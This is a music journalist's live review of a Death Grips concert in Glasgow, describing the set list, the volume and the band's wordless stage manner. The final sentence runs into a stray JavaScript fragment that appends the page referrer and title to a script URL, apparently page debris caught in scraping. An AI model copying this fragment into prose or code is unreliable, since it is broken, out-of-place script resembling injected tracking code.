Live Review: Death Grips

By David Flanigan (@DavFlan)

Perhaps the very definition of a blink-and-you’ll-miss-it event, it is hardly a surprise that exceptional demand saw reclusive experimental Hip-Hop trio: Death Grips’ Glasgow leg of their European tour upgraded from Saint Luke’s to SWG3’s TV Studio. It is fitting change, too – the cold, industrial aesthetic, and claustrophobic low roof felt like a more natural habitat for Death Grips’ unashamedly abrasive live show.

The hour prior to the band taking the stage, in which any other gig would house a support act, is instead occupied by an ominous low hum over the intercom that rises in volume, pulsing occasionally with clipped vocal samples of intelligible whispers in a foreign tongue.

The sound peaks, fog falls, and Death Grips assume the stage. What follows is 75 minutes of relentless power, a ceaseless wall of noise – full sonic blitzkrieg – as the Sacramento-based trio tear through their set without intermission.

Between opener Whatever I Want (Fuck Whos Watching) and closer The Fever (Aye Aye) there is scarcely a single moment of calm with which to pause for breath, or for frontman Ride to address the crowd. There are no personalised backdrops on stage and not so much as a poster on the venue doors – anything deemed ancillary is scrapped without a second thought. It’s a bare-boned, no-bullshit approach befitting of their enigmatic image – musically and otherwise.

It is also a lesson in brutal efficiency: 25 songs in little under 75 minutes. Producer Andy Morin segues the set together, making (the very, very few) quieter moments like the isolated intro vocal of Giving Bad People Good Ideas all the more stark when they halt more haywire tracks in the vein of Inanimate Sensation – both played in an utterly tenderising opening 20 minutes that includes The Money Store‘s lead track Get Got and perhaps latest release, Bottomless Pit’s most deranged contribution, Hot Head.

It was loud. Punishingly so. The crowd was a nauseous, exhausted one by the half-way mark No Love Deep Web‘s opener Come Up and Get Me. Morin’s live production is tremor-inducing, and it is a wonder that drummer Zach Hill has any drums, or indeed stamina left when he departs: such is the ferity with which he unrelentingly assaults his kit. Ride, himself, lurches around the stage, howling incessantly, but says little, and he and his bandmates leaves the stage without a word, come the night’s close.

This strategy is a refreshing one. If Death Grips’ music does little else, it speaks for itself, everyone present knows the stakes. A Ride-led hype-up for the ballistic Bottomless Pit cut Spikes, or the sole single from their debut mixtape Exmilitary, and by a distance most well-known track: Guillotine would as well be dead-air, and something he spares the crowd from.

Built on unapologetically bludgeoning volume, and a total disregard for the norms of touring musicians, Death Gips at SWG3 has more in common with infamous and wildly unethical early 20th century psychological experiments – consisting of an hour and a quarter of total sensory annihilation – than any commonly-experienced performance of live music.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;